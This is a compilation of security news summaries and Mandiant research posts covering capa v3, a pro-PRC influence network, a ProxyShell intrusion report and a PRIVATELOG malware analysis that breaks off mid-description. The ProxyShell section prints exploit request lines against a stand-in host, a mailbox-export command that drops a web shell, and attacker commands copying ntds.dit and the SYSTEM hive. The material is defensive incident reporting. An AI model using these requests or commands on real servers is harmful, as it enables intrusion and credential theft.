Cybersecurity researchers have disclosed an unpatched flaw in Apple Pay that attackers could abuse to make an unauthorized Visa payment with a locked iPhone by taking advantage of the Express Travel mode set up in the device's wallet.
"An attacker only needs a stolen, powered on iPhone. The transactions could also be relayed from an iPhone inside someone's bag, without their knowledge," a group
A formerly unknown Chinese-speaking threat actor has been linked to a long-standing evasive operation aimed at South East Asian targets as far back as July 2020 to deploy a kernel-mode rootkit on compromised Windows systems.
Attacks mounted by the hacking group, dubbed GhostEmperor by Kaspersky, are also said to have used a "sophisticated multi-stage malware framework" that allows for providing
In yet another indicator of how hacking groups are quick to capitalize on world events and improvise their attack campaigns for maximum impact, threat actors have been discovered impersonating Amnesty International to distribute malware that purports to be security software designed to safeguard against NSO Group's Pegasus surveillanceware.
"Adversaries have set up a phony website that looks
Google on Thursday pushed urgent security fixes for its Chrome browser, including a pair of new security weaknesses that the company said are being exploited in the wild, making them the fourth and fifth actively zero-days plugged this month alone.
The issues, designated as CVE-2021-37975 and CVE-2021-37976, are part of a total of four patches, and concern a use-after-free flaw in V8 JavaScript
Cybersecurity researchers have disclosed an unpatched security vulnerability in the protocol used by Microsoft Azure Active Directory that potential adversaries could abuse to stage undetected brute-force attacks.
"This flaw allows threat actors to perform single-factor brute-force attacks against Azure Active Directory (Azure AD) without generating sign-in events in the targeted organization's
Professional developers want to embrace DevSecOps and write secure code, but their organizations need to support this seachange if they want that effort to grow.
The cyber threat landscape is becoming more complex by the day. Attackers are constantly scanning networks for vulnerable applications, programs, cloud instances, and the latest flavor of the month is APIs, widely considered an easy win
The IDC cloud security survey 2021 states that as many as 98% of companies were victims of a cloud data breach within the past 18 months.
Fostered by the pandemic, small and large organizations from all over the world are migrating their data and infrastructure into a public cloud, while often underestimating novel and cloud-specific security or privacy issues.
Nearly every morning, the
Cybersecurity researchers on Wednesday disclosed a previously undocumented backdoor likely designed and developed by the Nobelium advanced persistent threat (APT) behind last year's SolarWinds supply chain attack, joining the threat actor's ever-expanding arsenal of hacking tools.
Moscow-headquartered firm Kaspersky codenamed the malware "Tomiris," calling out its similarities to another
Russian authorities on Wednesday arrested and detained Ilya Sachkov, the founder of cybersecurity firm Group-IB, for two months in Moscow on charges of state treason following a search of its office on September 28.
The Russian company, which is headquartered in Singapore, confirmed the development but noted the "reason for the search was not yet clear," adding "The decentralized infrastructure
Facebook on Wednesday announced it's open-sourcing Mariana Trench, an Android-focused static analysis platform the company uses to detect and prevent security and privacy bugs in applications created for the mobile operating system at scale.
"[Mariana Trench] is designed to be able to scan large mobile codebases and flag potential issues on pull requests before they make it into production," the
A newly discovered "aggressive" mobile campaign has infected north of 10 million users from over 70 countries via seemingly innocuous Android apps that subscribe the individuals to premium services costing €36 (~$42) per month without their knowledge.
Zimperium zLabs dubbed the malicious trojan "GriftHorse." The money-making scheme is believed to have been under active development starting from
Chief Information Security Officers (CISOs) are an essential pillar of an organization’s defense, and they must account for a lot. Especially for new CISOs, this can be a daunting task. The first 90 days for a new CISO are crucial in setting up their security team, so there is little time to waste, and much to accomplish.
Fortunately. A new guide by XDR provider Cynet (download here) looks to
Two newly discovered malicious Android applications on Google Play Store have been used to target users of Brazil's instant payment ecosystem in a likely attempt to lure victims into fraudulently transferring their entire account balances into another bank account under cybercriminals' control.
"The attackers distributed two different variants of banking malware, named PixStealer and MalRhino,
Commercially developed FinFisher surveillanceware has been upgraded to infect Windows devices using a UEFI (Unified Extensible Firmware Interface) bootkit that leverages a trojanized Windows Boot Manager, marking a shift in infection vectors that allow it to elude discovery and analysis.
Detected in the wild since 2011, FinFisher (aka FinSpy or Wingbird) is a spyware toolset for Windows, macOS,
Opportunistic threat actors have been found actively exploiting a recently disclosed critical security flaw in Atlassian Confluence deployments across Windows and Linux to deploy web shells that result in the execution of crypto miners on compromised systems.
Tracked as CVE-2021-26084 (CVSS score: 9.8), the vulnerability concerns an OGNL (Object-Graph Navigation Language) injection flaw that
A new advanced trojan sold on Russian-speaking underground forums comes with capabilities to steal users' accounts on popular online video game distribution services, including Steam, Epic Games Store, and EA Origin, underscoring a growing threat to the lucrative gaming market.
Cybersecurity firm Kaspersky, which coined the malware "BloodyStealer," said it first detected the malicious tool in
Microsoft on Monday revealed new malware deployed by the hacking group behind the SolarWinds supply chain attack last December to deliver additional payloads and steal sensitive information from Active Directory Federation Services (AD FS) servers.
The tech giant's Threat Intelligence Center (MSTIC) codenamed the "passive and highly targeted backdoor" FoggyWeb, making it the threat actor tracked
State-sponsored hackers affiliated with Russia are behind a new series of intrusions using a previously undocumented implant to compromise systems in the U.S., Germany, and Afghanistan.
Cisco Talos attributed the attacks to the Turla advanced persistent threat (APT) group, coining the malware "TinyTurla" for its limited functionality and efficient coding style that allows it to go undetected.
The operators behind the BlackRock mobile malware have surfaced back with a new Android banking trojan called ERMAC that targets Poland and has its roots in the infamous Cerberus malware, according to the latest research.
"The new trojan already has active distribution campaigns and is targeting 378 banking and wallet apps with overlays," ThreatFabric's CEO Cengiz Han Sahin said in an emailed
DMARC is a global standard for email authentication. It allows senders to verify that the email really comes from whom it claims to come from. This helps curb spam and phishing attacks, which are among the most prevalent cybercrimes of today. Gmail, Yahoo, and many other large email providers have implemented DMARC and praised its benefits in recent years.
If your company's domain name is
Cybersecurity researchers have charted the evolution of Jupyter, a .NET infostealer known for singling out healthcare and education sectors, which make it exceptional at defeating most endpoint security scanning solutions.
The new delivery chain, spotted by Morphisec on September 8, underscores that the malware has not just continued to remain active but also showcases "how threat actors
Google on Friday rolled out an emergency security patch to its Chrome web browser to address a security flaw that's known to have an exploit in the wild.
Tracked as CVE-2021-37973, the vulnerability has been described as use after free in Portals API, a web page navigation system that enables a page to show another page as an inset and "perform a seamless transition to a new state, where the
Network security company SonicWall has addressed a critical security vulnerability affecting its Secure Mobile Access (SMA) 100 series appliances that can permit remote, unauthenticated attackers to gain administrator access on targeted devices remotely.
Tracked as CVE-2021-20034, the arbitrary file deletion flaw is rated 9.1 out of a maximum of 10 on the CVSS scoring system, and could allow an
A new advanced persistent threat (APT) has been behind a string of attacks against hotels across the world, along with governments, international organizations, engineering companies, and law firms.
Slovak cybersecurity firm ESET codenamed the cyber espionage group FamousSparrow, which it said has been active since at least August 2019, with victims located across Africa, Asia, Europe, the
A new as-yet unpatched weakness in Apple's iCloud Private Relay feature could be circumvented to leak users' true IP addresses from iOS devices running the latest version of the operating system.
Introduced as a beta with iOS 15, which was officially released this week, iCloud Private Relay aims to improve anonymity on the web by employing a dual-hop architecture that effectively shields users'
Since our initial public release of capa, incident responders and reverse engineers have used the tool to automatically identify capabilities in Windows executables. With our newest code and ruleset updates, capa v3 also identifies capabilities in Executable and Linkable Format (ELF) files, such as those used on Linux and other Unix-like operating systems. This blog post describes the extended analysis and other improvements. You can download capa v3 standalone binaries from the project’s release page and checkout the source code on GitHub.
capa finds capabilities in programs by parsing executable file formats, disassembling code, and then recognizing features in functions. In versions v1 and v2, capa only understood the PE file format, so its analysis was restricted to Windows programs. Thanks to our colleagues at Intezer, capa now recognizes ELF files! This means you can use the tool to identify behaviors in malware that targets Linux computers. Figure 1 shows a rule that describes techniques to fetch the current user on Linux.
Figure 1: capa rule identifying
capabilities on Linux
We’re excited Intezer leverages capa and thrilled they are sharing their improvements with the community. In addition to the code updates, Intezer proposed 36 capa rules to identify various capabilities in ELF files, such as reconnaissance, persistence, and host interaction techniques. Please read Intezer’s blog post for more details.
As we taught capa to recognize ELF files, we also wanted rule authors to tune their rules to find behaviors specific to different operating systems (OS), CPU architectures, and file formats. For example, the APIs exposed by Windows are very different from those found on Linux systems; therefore, rules should clearly designate which pattern to use on Windows versus Linux.
Based on discussions and feedback collected from users and contributors, we've extended capa’s rule format to describe OSes, CPU architectures, and file formats. The rule shown in Figure 2 uses os features to distinguish techniques used to get networking interface information on Windows and Linux. Note that the rule is explicit about which APIs are found on each OS, making it easy for both humans and machines to interpret the matching logic.
Figure 2: capa rule using the os feature
to distinguish OS specific features
We’ve also added arch (such as arch: i386 for 32-bit Intel code) and format (such as format: elf for ELF files) features to distinguish between CPU architectures and file formats. To learn more about these and capa’s rule syntax see the rule format documentation on GitHub.
Unfortunately, rules with these new features are not backwards compatible with older versions of capa. Therefore, you should prefer to upgrade your capa installation to take advantage of our enhanced rules.
To make many rules easier to read, we’ve added a convenience feature named substring that acts like a literal string match with implied leading and trailing wildcards. This makes it easier to match file path components, such as /.ssh/id_rsa. Previously, users had to wrap a substring with forward slashes and escape special characters with backslashes, leading to nearly incomprehensible character sequences. Now, a substring feature clearly describes a literal string found as part of a longer string. Figure 3 shows how much easier it is to read a substring feature.
Figure 3: Old- and new-style ways of
describing a substring
Figure 4 shows a capa rule using a substring feature to describe a persistence location on Linux.
Figure 4: capa rule using the substring
feature to identify persistence on Linux systems
The newest improvements add ELF file analysis support to capa and make its rules even more expressive. We thank the community and notably Intezer for their continued support. We love the collaboration and are excited for future opportunities. The v3 capa release also includes bug fixes, improvements to the IDAPython plugin capa explorer, and more than 50 new rules. See the capa changelog for all update details.
The new capa release is available on the release page and on PyPI. capa’s code and rules are available on GitHub. If you have any questions or feedback, please open an issue or discussion in the respective repository.
In June 2019, Mandiant Threat Intelligence first reported to customers a pro-People’s Republic of China (PRC) network of hundreds of inauthentic accounts on Twitter, Facebook, and YouTube, that was at that time primarily focused on discrediting pro-democracy protests in Hong Kong. Since then, the broader activity set has rapidly expanded in size and scope and received widespread public attention following Twitter’s takedown of related accounts in August 2019. Numerous other researchers have published investigations into various aspects of this activity set, including Google’s Threat Analysis Group, Graphika, the Australian Strategic Policy Institute, the Stanford Internet Observatory and the Hoover Institution, and the Centre for Information Resilience.
Since we began tracking the campaign in mid-2019, we have observed multiple shifts in its tactics, many of which have been reported on publicly elsewhere, including the use of artificially generated photos for account profile pictures and the promotion of a wide variety of narrative themes related to current events, including multiple narratives related to the COVID-19 pandemic, narratives critical of Chinese dissident Guo Wengui and his associates, and narratives related to domestic U.S. political issues. However, other evolutions in the network’s activity do not appear to have been reported widely, and our aim with this blog post is to provide early warning of two significant developments that we believe are important to monitor despite the limited impact of the network so far:
Similar to previously reported activity that has spanned Facebook, Twitter, and YouTube, we have observed coordination between suspected accounts in the network across 30 social media platforms and over 40 other websites and online forums. These accounts have posted similar, and in many cases identical messaging and engaged in the coordinated sharing, commenting on, and liking of text, image, and video content. For example:
Figure 1: Vimeo account (left) shares
identical video as TikTok account (right)
Figure 2: LiveJournal account (left)
linking to Twitter account (right); accounts use identical profile
photo and display name
Figure 3: Tumblr account (top) uses same
profile photo as LiveJournal account (bottom)
Figure 4: A forum post links to a Twitter
account in the network
We have observed extensive promotion of Russian, German, Spanish, Korean, and Japanese-language content on U.S. and non-U.S.-based platforms, in addition to the typical English and Chinese-language activity that has been widely reported on. This represents a significant development in our collective understanding of this pro-PRC activity set. For example:
Figure 5: LiveJournal accounts promote
identical text in Russian claiming that "U.S. Ft. Detrick was
the source of COVID-19" and that "China is not the source
of the virus"
Figure 6: Inauthentic VKontakte accounts
(top) repost in Russian a post from what appears to be an authentic
English-language Twitter account (bottom)
Figure 7: LiveJournal accounts post
identical text in German claiming that COVID-19 may have appeared in
the U.S. before Jan. 19, 2020
Figure 8: Spanish-language Taringa
accounts post articles and text to cast doubt about the origin of COVID-19
Figure 9: LiveJournal accounts post
identical, grammatically incorrect messages in Russian implying that
American netizens believed they were infected with COVID-19 in late
2019 and early 2020
In April 2021, thousands of posts in languages including English, Japanese, and Korean, images, and videos were posted across multiple platforms by accounts we assess to be part of this broader activity set that called on Asian Americans to protest racial injustices in the U.S. (Figure 10). The accounts specifically called on Asian Americans to protest on April 24 in New York City and “fight back” against the purported “rumors” caused by Dr. Li-Meng Yan, Guo Wengui, and Steve Bannon, and in some instances provided an address that they claimed Guo lived at.
Figure 10: Twitter account calls for
physical protests in Japanese (left), Korean (middle), and English
(right) (Note: We have censored the address listed by the accounts)
Subsequently, we observed posts by accounts in the network portray the advocated April 24 New York City protest as a success, claiming that Asian Americans, other minority groups, and Caucasian protestors attended (Figure 11). Other posts claimed that these protesters were met by Guo Wengui’s “supporters”, who “violently assault[ed]” them. As part of this claim of success, we observed a manipulated image in which the face of Dr. Yan was superimposed onto a sign held by a purported protestor and shared across nearly all the social media platforms and forums that we have seen leveraged as part of this broader activity set. We identified the image to be a manipulation of a picture taken at a rally against racial discrimination that took place in Jamestown, NY, on or around April 23, 2021 (Figure 12).
Figure 11: A Medium account (left) and an
Underlined account (right) post identical text claiming Asian
Americans protested racial violence in the U.S. The sign being held
in the picture on the left has been photoshopped
Figure 12: Photoshopped image of Dr.
Yan's face on a sign (left), shared across nearly all platforms
(original photo on the right)
Despite these claims, we have not observed any evidence to suggest that these calls were successful in mobilizing protestors on April 24. However, it does provide early warning that the actors behind the activity may be starting to explore, in however limited a fashion, more direct means of influencing the domestic affairs of the U.S. We believe it is important to call attention to such attempts and for observers to continue to monitor for such attempts in future.
Our aim with this blog post is to provide early warning of two significant developments that we believe are important to monitor for despite the limited impact of this pro-PRC campaign thus far. First, the activity is taking place not just on the big three social media giants, but on at least 30 social media platforms and dozens of additional websites and forums, and in languages including not just English and Chinese, but also German, Russian, Spanish, Korean, and Japanese. This suggests that the actors behind the campaign have significantly expanded their online footprint and appear to be attempting to establish a presence on as many platforms as possible to reach a variety of global audiences. Second, the attempt to physically mobilize protesters in the U.S. provides early warning that the actors responsible may be starting to explore more direct means of influence and may be indicative of an emerging intent to motivate real-world activity outside of China’s territories.
In August 2021, Mandiant Managed Defense identified and responded to the exploitation of a chain of vulnerabilities known as ProxyShell. The ProxyShell vulnerabilities consist of three CVEs (CVE-2021-34473, CVE-2021-34523, CVE-2021-31207) affecting the following versions of on-premises Microsoft Exchange Servers.
The vulnerabilities are being tracked in the following CVEs:
CVE | Risk Rating | Access Vector | Exploitability | Ease of Attack | Mandiant Intel |
CVE-2021-34473 | High | Network | Functional | Easy | |
CVE-2021-34523 | Low | Local | Functional | Easy | |
CVE-2021-31207 | Medium | Network | Functional | Easy |
Table 1: List of May & July 2021 Microsoft Exchange CVEs and FireEye Intel Summaries
Microsoft Exchange Server provides email and supporting services for organizations. This solution is used globally, both on-premises and in the cloud. This chain of vulnerabilities exists in unpatched on-premises editions of Microsoft Exchange Server only and is being actively exploited on those servers accessible on the Internet.
Mandiant responded to multiple intrusions impacting a wide variety of industries including Education, Government, Business services, and Telecommunications. These organizations are based in the United States, Europe, and Middle East. However, targeting is almost certainly broader than directly observed.
One specific targeted attack observed by Mandiant, detailed in this post, was against a US-based university where UNC2980 exploited ProxyShell vulnerabilities to gain access to the environment.
ProxyShell refers to a chain of attacks that exploit three different vulnerabilities affecting on-premises Microsoft Exchange servers to achieve pre-authenticated remote code execution (RCE). The exploitation chain was discovered and published by Orange Tsai (@orange_8361) from the DEVCORE Research Team.
In order to later create a web shell on a Microsoft Exchange server by exporting from a mailbox, an attacker first needs to create an email item within a mailbox. In the Metasploit implementation of the attack, the Autodiscover service is abused to leak a known user’s distinguished name (DN), which is an address format used internally within Microsoft Exchange. The Messaging Application Programming Interface (MAPI) is then leveraged to leak the user's security identifier (SID), by passing the previously leaked DN as a request. The SID is then used to forge an access token to communicate with Exchange Web Services (EWS).
With the attacker able to successfully impersonate the target user with a valid access token, they can perform EWS operations. To continue with the ProxyShell attack, the operation ‘CreateItem’ is used, which allows the remote creation of email messages in the impersonated user’s mailbox. While responding, Mandiant has seen draft emails with attached web shells, encoded in such a way that they become decoded upon export to PST later in the attack (specifically with permutative encoding).
Emails may also be placed in targeted users' mailboxes via SMTP, as was suggested in Orange Tsai’s documentation of the attack.
Microsoft Exchange has a feature called ‘Explicit Logon’, which legitimately allows users to open another user's mailbox or calendar in a new browser window by providing the mailbox address in the URL. The feature was designed to only provide access where ‘Full Access’ is granted to the user, and the target mailbox or calendar is configured to publish. Exchange is designed to normalize the specified mailbox address in the URL to identify the target.
The vulnerability exists in passing the string Autodiscover/Autodiscover.json to the email field in the URL. By passing that string, Exchange does not perform sufficient checks on the address, and through its normalization process, this leads to arbitrary access to backend URLs as NT AUTHORITY/SYSTEM.
GET /autodiscover/autodiscover.json?@evil.corp/?&Email=autodiscover/autodiscover.json%3F@evil.corp GET /autodiscover/autodiscover.json?@evil.corp/ews/exchange.asmx?&Email=autodiscover/autodiscover.json%3F@evil.corp POST /autodiscover/autodiscover.json?@evil.corp/autodiscover/autodiscover.xml?&Email=autodiscover/autodiscover.json%3F@evil.corp POST /autodiscover/autodiscover.json?@evil.corp/mapi/emsmdb?&Email=autodiscover/autodiscover.json%3F@evil.corp |
Figure 1: Requests showing how an attacker can abuse the normalization process of the Explicit Logon feature
The Exchange PowerShell Remoting feature, natively built into Microsoft Exchange, was designed to assist with administrative activities via the command line. The previous exploit allowed an attacker to interface with arbitrary backend URLs as NT AUTHORITY/SYSTEM, however since that user does not have a mailbox, the attacker cannot directly interface with the PowerShell backend (/Powershell) at that privilege level.
The PowerShell backend checks for the X-CommonAccessToken header in incoming requests. If the header does not exist, another method is used to get a CommonAccessToken. This method checks for the X-Rps-CAT parameter in the incoming request, and if present, deserializes this to a valid CommonAccessToken. With the previously collected information on the target mailbox or default information from built-in mailboxes, passing of a valid X-Rps-CAT value is trivial.
By passing this value to the PowerShell backend with the previously successful access token, an attacker can downgrade from the NT AUTHORITY/SYSTEM account to the target user. This user must have local administrative privileges in order to execute arbitrary Exchange PowerShell commands.
POST /autodiscover/autodiscover.json?a=abcde@evil.com/powershell/?X-Rps-CAT=[Base64 encoded data] |
Figure 2: This request uses the parameter X-Rps-CAT, which allows valid user impersonation
Once the two previous vulnerabilities are exploited successfully, the vulnerability CVE-2021-31207 allows the attacker to write files. As soon as the attacker is able to execute arbitrary PowerShell commands, and the required ‘Import Export Mailbox’ role is assigned to the impersonated user (which can be achieved by execution of the New-ManagementRoleAssignment cmdlet), the cmdlet New-MailboxExportRequest can be used to export a user’s mailbox to a specific desired path e.g.
New-MailBoxExportRequest – Mailbox john.doe@enterprise.corp -FilePath \\127.0.0.1\C$\path\to\webshell.aspx |
Figure 3: New-MailBoxExportRequest can be used to export payloads
The use of New-MailboxExportRequest allows the attacker to export target mailboxes where previously created emails with encoded web shells were created. The attacker can export the mailbox to a PST file format with a web file extension, such as ASPX, which allows the attacker to drop a functional web shell, since the encoded attachments in the email are decoded upon write to the PST file format. This is due to the PST file format using permutative encoding, by attaching a pre-encoded payload, upon export the decoded payload is actually written.
Mandiant responded to intrusions involving ProxyShell exploitation across a range of customers and industries. Examples of proof-of-concept (PoC) exploits developed and released publicly by security researchers could be leveraged by any threat group, leading to adoption by threat groups with varying levels of sophistication. Mandiant has observed the exploit chain resulting in post-exploitation activities, including the deployment of web shells, backdoors, and tunneling utilities to further compromise victim organizations. As of the release of this blog post, Mandiant tracks eight UNC groups exploiting the ProxyShell vulnerabilities. Mandiant anticipates more clusters will be formed as different threat actors adopt working exploits.
Mandiant has observed the exploitation of Proxyshell starting with
the abuse of Autodiscover services to leak known users distinguished
name (DN) to then leverage it to leak the administrator security
identifier (SID).
By using the leaked DN and SID, the
attacker can create a mailbox that contains a draft email with a
malicious payload as an attachment. Afterwards, the mailbox and the
contained payload are exported to a web-accessible directory or
another directory on the host.
Attempted exploitation of ProxyShell appears to be mostly automated. In some cases, Mandiant observed only partial attacker success, such as the creation of items in mailboxes remotely, but not the exporting of mailboxes and their contained payloads to another directory on the host.
Mandiant has observed a wide range of source IP addresses and user agents attempting HTTP requests consistent with the first stage of the ProxyShell exploit chain.
Upon successful exploitation of the vulnerabilities, Mandiant observed multiple payloads to gain a foothold in the network including CHINACHOP and BLUEBEAM web shells (see Malware Definitions section). Follow-on actions include execution of internal reconnaissance commands on servers, and deployment of tunneler utilities.
Figure 4: BLUEBEAM ASP web shell that was
embedded into a PST payload
In August 2021, Mandiant Managed Defense responded to an intrusion leveraging the ProxyShell vulnerability at a US-based university. Mandiant tracks this threat actor as UNC2980.
UNC2980 is a cluster of threat activity tracked since August 2021 and believed to be conducting cyber espionage operations. Mandiant suspects this group to be operating from China currently assessed at low confidence. UNC2980 has been observed exploiting CVE-2021-34473, CVE-2021-34523, CVE-2021-31207, publicly referred to as "ProxyShell", to upload web shells for initial access. The group relies on multiple publicly available tools including EARTHWORM, HTRAN, MIMIKATZ, and WMIEXEC post compromise.
Upon gaining access through the exploitation of ProxyShell and deploying a web shell, UNC2980 dropped multiple tools into the victim environment. The following publicly available tools were observed on the initial compromised host: HTRAN, EARTHWORM, and several MIMIKATZ variants.
|
Figure 5: Web shell embedded in PST payload used by UNC2980
Approximately 11 hours and 44 minutes after the ProxyShell exploitation, Mandiant observed post-exploitation activity beginning with multiple Event ID 4648 (A logon was attempted using explicit credentials) events initiated by the process C:\root\mimikatz.exe on the initial compromised host. All Event ID 4648 events were associated with two different domain controllers within the environment.
The group then utilized the utility WMIEXEC to conduct post-exploitation activity. This was primarily observed through the default redirection of command output used by WMIEXEC.
cmd.exe /c whoami > C:\wmi.dll 2>&1 cmd.exe /c quser > C:\wmi.dll 2>&1 cmd.exe /c net localgroup administrators > C:\wmi.dll 2>&1 |
Figure 6: Reconnaissance commands executed via WMICEXEC
UNC2980 was observed utilizing several techniques for credential theft once access to a host was established. In one instance, after performing reconnaissance, UNC2980 deployed multiple variants of MIMIKATZ. In another instance, UNC2980 utilized multiple batch files which executed ntdsutil to enumerate snapshots of volumes and were then used to copy ntds.dit and the System hive.
ntdsutil snapshot "List All" quit quit >>c:\temp\1.txt ntdsutil snapshot "unmount {[GUID]}" quit quit net localgroup administrators ntdsutil snapshot "activate instance ntds" create quit quit ntdsutil snapshot "delete {[GUID] }" quit quit ntdsutil snapshot "mount {[GUID]}" quit quit copy c:\$SNAP_[date]_VOLUMEC$\windows\ntds\ntds.dit c:\temp\ntds.dit reg save hklm\system c:\temp\s.hive |
Figure 7: Executed Batch commands
Mandiant recommends monitoring or investigating for compromise on presently or previously vulnerable Exchange servers.
Additional attempted or successful exploitation may be identified by analyzing network and IIS logs looking for HTTP requests matching some of the patterns described in this report.
Mandiant advises all organizations to apply patches KB5003435 (CVE-2021-31207) and KB5001779 (CVE-2021-34473 and CVE-2021-34523) to vulnerable on-premises Microsoft Exchange servers to mitigate these vulnerabilities being exploited. To verify the current version of on-premises Microsoft Exchange running within an organization, reference this Microsoft resource.
If an organization is not able to immediately apply the patches, inbound TCP/80 and TCP/443 traffic to on-premises Exchange servers should be explicitly blocked from the Internet.
Additionally, Mandiant recommends organizations review their detection and response capabilities, especially on public-facing infrastructure, including:
Product | Signature |
FireEye Endpoint Security |
|
FireEye Network Security |
|
FireEye Email Security FireEye Detection On Demand FireEye Malware File Scanning FireEye Malware File Storage Scanning
|
|
FireEye Helix |
|
Organizations can validate their security controls using the following actions with Mandiant Security Validation.
VID | Name |
A101-827
| Application Vulnerability - CVE-2021- 34473, ProxyShell Vulnerability Check |
A101-829 | Application Vulnerability - ProxyShell, Exploitation |
A101-839 | Malicious File Transfer - ProxyShell WebShell, Download |
BLUEBEAM (aka. Godzilla) is a publicly available web shell management tool written in JAVA. BLUEBEAM can generate web shell payloads in JSP, ASP[.]NET, and PHP, it also supports AES encryption.
BLUEBEAM contains 20 built-in modules that provide features such as loading additional web shells into memory, shell execution, mimikatz, meterpreter, file compression, and privilege escalation.
HTRAN is a publicly available tunneler written in C/C++ that serves as a proxy between two endpoints specified via command line arguments.
EARTHWORM is a publicly available tunneler utility. It is capable of establishing a tunnel to a SOCKS v5 server and is supported on the following operating systems: Linux, MacOS, and Arm-Linux.
The CHOPPER web shell is a simple code injection web shell that is capable of executing Microsoft .NET code within HTTP POST commands. This allows the shell to upload and download files, execute applications with webserver account permissions, list directory contents, access Active Directory, access databases, and any other action allowed by the .NET runtime.
For more detailed analysis, see our blog post on the China Chopper web shell.
Alex Pennino, Andrew Rector, Harris Ansari and Yash Gupta
The Mandiant Advanced Practices team recently discovered a new malware family we have named PRIVATELOG and its installer, STASHLOG. In this post, we will share a novel and especially interesting technique the samples use to hide data, along with detailed analysis of both files that was performed with the support of FLARE analysts. We will also share sample detection rules, and hunting recommendations to find similar activity in your environment.
Mandiant has yet to observe PRIVATELOG or STASHLOG in any customer environments or to recover any second-stage payloads launched by PRIVATELOG. This may indicate malware that is still in development, the work of a researcher, or targeted activity.
PRIVATELOG and STASHLOG rely on the Common Log File System (CLFS) to hide a second stage payload in registry transaction files.
CLFS is a log framework that was introduced by Microsoft in Windows Vista and Windows Server 2003 R2 for high performance. It provides applications with API functions—available in clfsw32.dll—to create, store and read log data.
Because the file format is not widely used or documented, there are no available tools that can parse CLFS log files. This provides attackers with an opportunity to hide their data as log records in a convenient way, because these are accessible through API functions. This is similar in nature to malware which may rely, for example, on the Windows Registry or NTFS Extended Attributes to hide their data, which also provide locations to store and retrieve binary data with the Windows API.
In Microsoft Windows, CLFS is notably used by the Kernel Transaction Manager (KTM) for both Transactional NTFS (TxF) and Transactional Registry (TxR) operations. These allow applications to perform a number of changes on the filesystem or registry, all grouped in a single transaction that can be committed or rolled back. For example, to open a registry key in a transaction, the functions RegCreateKeyTransacted(), RegOpenKeyTransacted(), and RegDeleteKeyTransacted() are available.
Registry transactions are stored in dedicated files with the
following naming scheme:
Registry transaction forensics were briefly explored in a previous blog post. The CLFS master and container file formats are mostly undocumented; however, previous research is available on GitHub.
As with many malware families, most of the strings used by PRIVATELOG and STASHLOG are obfuscated. Yet the technique observed here is uncommon and relies on XOR’ing each byte with a hard-coded byte inline, with no loops. Effectively, each string is therefore encrypted with a unique byte stream.
Figure 1: Sample string deobfuscation for "PrintNotify"
Interestingly, some of the deobfuscated strings from the installer are used for logging error messages and have spelling errors or typos such as:
In addition to containing obfuscated strings, the installer’s code is protected using various control flow obfuscation techniques that make static analysis cumbersome. Figure 2 is a graph overview of the installer’s main() function demonstrating the effects of the control flow obfuscation.
Figure 2: Graph view of main()
STASHLOG has two different modes of operation:
Executed without arguments, the installer prints two values to the console:
Figure 3: Sample console output
The 56-byte value is a concatenation of the random GUID, its SHA1 hash, and the SHA1 hash of the previous values. So: GUID+sha1(GUID)+sha1(GUID+sha1(GUID)).
The randomly generated GUID is stored as a string in the GlobalAtom table, prefixed with win::. This table resides in memory and contains strings with their identifiers available to all applications.
If a string prefixed with win:: already exists when the installer is executed, then the pre-existing GUID in the GlobalAtom table is reused.
Effectively, when executed with no arguments, the installer generates and prints out encryption keys that the actor uses to pre-encrypt the payload before it is written to disk.
When launched with an argument, the installer opens and decrypts the contents of the file passed as an argument. It verifies that the file is suffixed by its SHA1 hash, and then generates the same 56-byte value using the stored GlobalAtom GUID string in memory.
The 56-byte value is SHA1 hashed again and the first 16-bytes form the initialization vector (IV), while the key is the 16-byte MachineGUID value from the host’s registry. The encryption algorithm is HC-128, which is rarely seen used in malware.
The expected decrypted file contents have a 40-byte header:
| struct payloadHeader { DWORD magic; DWORD minWinVer; DWORD maxWinVer; DWORD totalSize; WORD numBlocks; WORD unknown; BYTE sha1sum[20]; } |
In the analyzed installer, the “magic” value is referred to as a checksum; however, STASHLOG verifies this value matches the hard-coded value 0x00686365. The number of blocks, specified at offset 16, must be between 2 and 5. The malware also checks that the operating system version is within a lower and upper boundary and that the SHA1 hash of the decrypted data matches the payload header value at offset 20.
Following the payload header, the malware expects blocks of encrypted data with 8-byte headers. Each block header has the following structure:
| struct blockHeader { DWORD magic; DWORD blockSize; } |
Once the malware has checked and validated the structure of the payload, it searches for .blf files in the default user’s profile directory and uses the .blf file with the oldest creation date timestamp.
In practice, the malware should typically find the file used for
registry transaction logs: C:\Users\Default\NTUSER.DAT
If a matching .blf file is indeed found, it is opened with the CreateLogFile() API from clfsw32.dll. This function opens CLFS logs and expects a file name in the following format, without the .blf extension: log:<LogName>[::<LogStreamName>]
The log file is reset using the CloseAndResetLogFile() function and will be opened again to insert the data.
Before inserting data into the CLFS log file, the malware decrypts each block using HC-128. The key is the 16-byte atom GUID and the IV is the first 16-bytes of the atom GUID SHA1 hash. Each block is then re-encrypted with the new key material as follows:
The contents are written to the CLFS log file using the clfsw32.dll API function ReserveAndAppendLog(). The payload header is written to the log file as the first entry, followed by separate entries for each block.
The data is effectively stored in the first container file for the
registry transaction log: C:\Users\Default\NTUSER.DAT
The PRIVATELOG sample recovered by Mandiant is an un-obfuscated 64-bit DLL named prntvpt.dll. It contains exports, which mimic those of legitimate prntvpt.dll files, although the exports have no functionality. PRIVATELOG expects to be loaded from PrintConfig.dll, which is the main DLL of a service named PrintNotify, via DLL search order hijacking.
The malicious code is executed at the DLL’s entry point. It starts by verifying the command-line arguments of the process it is running in and expects to be running under svchost.exe -k print. If this matches, the malware resolves the function address for the ServiceMain export function of PrintConfig.dll, which is the service entry point of the service using this command line. This function is patched using Microsoft Detours—a publicly available library used for instrumenting Win32 functions—so that the execution flow appears to happen in the legitimate service DLL.
The patched ServiceMain function is where PRIVATELOG executes most of its functionality.
Similarly to STASHLOG, PRIVATELOG starts by enumerating *.blf files in the default user’s profile directory and uses the .blf file with the oldest creation date timestamp.
If a matching .blf file is found, PRIVATELOG opens it with the clfsw32.dll function CreateLogFile(). The log file is then marshalled and parsed using other functions specific to CLFS, such as CreateLogMarshallingArea(), ReadLogFile() and ReadNextLogFile(). The malware expects to find specific entries which match our analysis of the installer.
PRIVATELOG expects the first log entry to have the following format:
If the first entry matches the aforementioned criteria, then subsequent records are read until one has an 8-byte header with the following:
Once the expected log entry is found, its contents are decrypted using the HC-128 encryption algorithm. The decryption key and IV are generated using the same unique host properties that were used by STASHLOG.
It is worth noting that PRIVATELOG only decrypts the first matching block and that at least 2 to 5 blocks are expected to be inserted by STASHLOG.
PRIVATELOG finally uses a rarely seen technique to execute the DLL payload, which this time relies on NTFS transactions. The injection process is similar to Phantom DLL hollowing and is described as follows:
